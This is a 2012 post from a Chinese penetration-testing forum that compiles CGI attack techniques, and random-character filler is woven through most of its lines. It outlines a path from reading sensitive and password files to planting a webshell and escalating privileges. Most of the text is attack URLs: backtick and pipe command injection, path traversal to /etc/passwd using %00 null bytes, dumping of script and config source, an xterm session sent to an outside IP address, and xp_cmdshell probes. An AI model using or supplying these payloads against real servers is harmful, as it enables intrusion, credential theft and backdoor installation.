中国网络渗透测试联盟

标题: CGI资料整理 [打印本页]

作者: admin    时间: 2012-9-13 16:56
标题: CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  0 O, V1 N# ^% r  v# D0 n
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  8 Z+ Z6 D2 R' d; ~. V
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  ! P* ?1 B1 N- a( q" h$ _5 @& k7 F0 t
注“  , z6 i, j1 z! K9 x+ v1 t* j) n
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  , i$ p7 y, z' q# R( f
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
0 |& [! r( X8 x  @* a; }9 X$ n1 [- E3 M' ~. v
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
( W  W$ n9 A* W/ x! Lhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
* `! E4 R9 L5 m/ K2 ^* U. Qhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  / {7 _1 j& D7 t
http://target.com/cgi-bin/home/news/sub.pl?`id`  
  G4 o9 E7 L: Thttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
) f1 M, X! k1 f" c9 ?4 lhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
' @5 A& _! M0 y/ C  P
' b0 j, f- _0 Vhttp://target.com/test.pl;ls|  3 I' S4 Y- T. N2 n5 V
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
7 P( x  z4 y" C7 G- l) m! C% Y5 ~* u, zhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
$ `+ z; e2 N4 `; b6 ahttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
4 _) G) b! s# k1 o  F5 s比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  ' ^$ y: O( ^* Y% [" _% F/ f
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
9 x' @/ g' n  R9 Z/ \" [! Z% o
8 E' K+ G/ o- b3 g3 o& b: R9 thttp://target.com/test.pl?&........ /../../etc/passwd  
1 N0 w& l. e1 \' q% ^1 S8 _5 k5 C* _5 k, p& c2 Z
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
0 x7 R8 g$ l9 h, v! S' zhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  ( G: N$ t# t5 H0 w  x
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  ' p. K7 o) z- W# }7 A. ]. t

- Q7 z- K. t7 d' S. R. m, Lhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  
  y: Y* Q  C7 Y! H' thttp://www.target.org/show.php?f ... ng/admin/global.php  
) w3 g& j8 k0 S0 @
. E* D' _" S. Oemm和ps的一句话
' \! `8 q0 x4 R1 y9 k8 Y
, e: q) D. ]) L, u! F; shttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
: W/ n! j, _- E4 A0 m1 \
6 _& z2 r1 \6 g3 K  @* b& o>bbb%20|  
+ D& H0 z! h6 J7 b) d5 E/ d$ U) }# U" s# c8 |+ F, n. t3 \/ Y
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
6 }1 d1 T3 X( y9 A0 m& W. G$ d' I: c5 z) M
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  6 L3 ^* H1 \3 i( w
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
6 _! X; o& H& D% V+ s, d8 ]  D) H$ ^- a/ l3 I
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
! S; g; p  Z, khttp://target.com/index.html#cmd.exe  8 k, q. R5 o, Y" A! b7 q7 T
http://target.com/index.html?dummyparam=xp_cmdshell  : l6 U: N4 Z( O7 ]1 U! k' {# S7 k$ n. g
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  , i' ]( r$ a# Y: y7 t  [





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2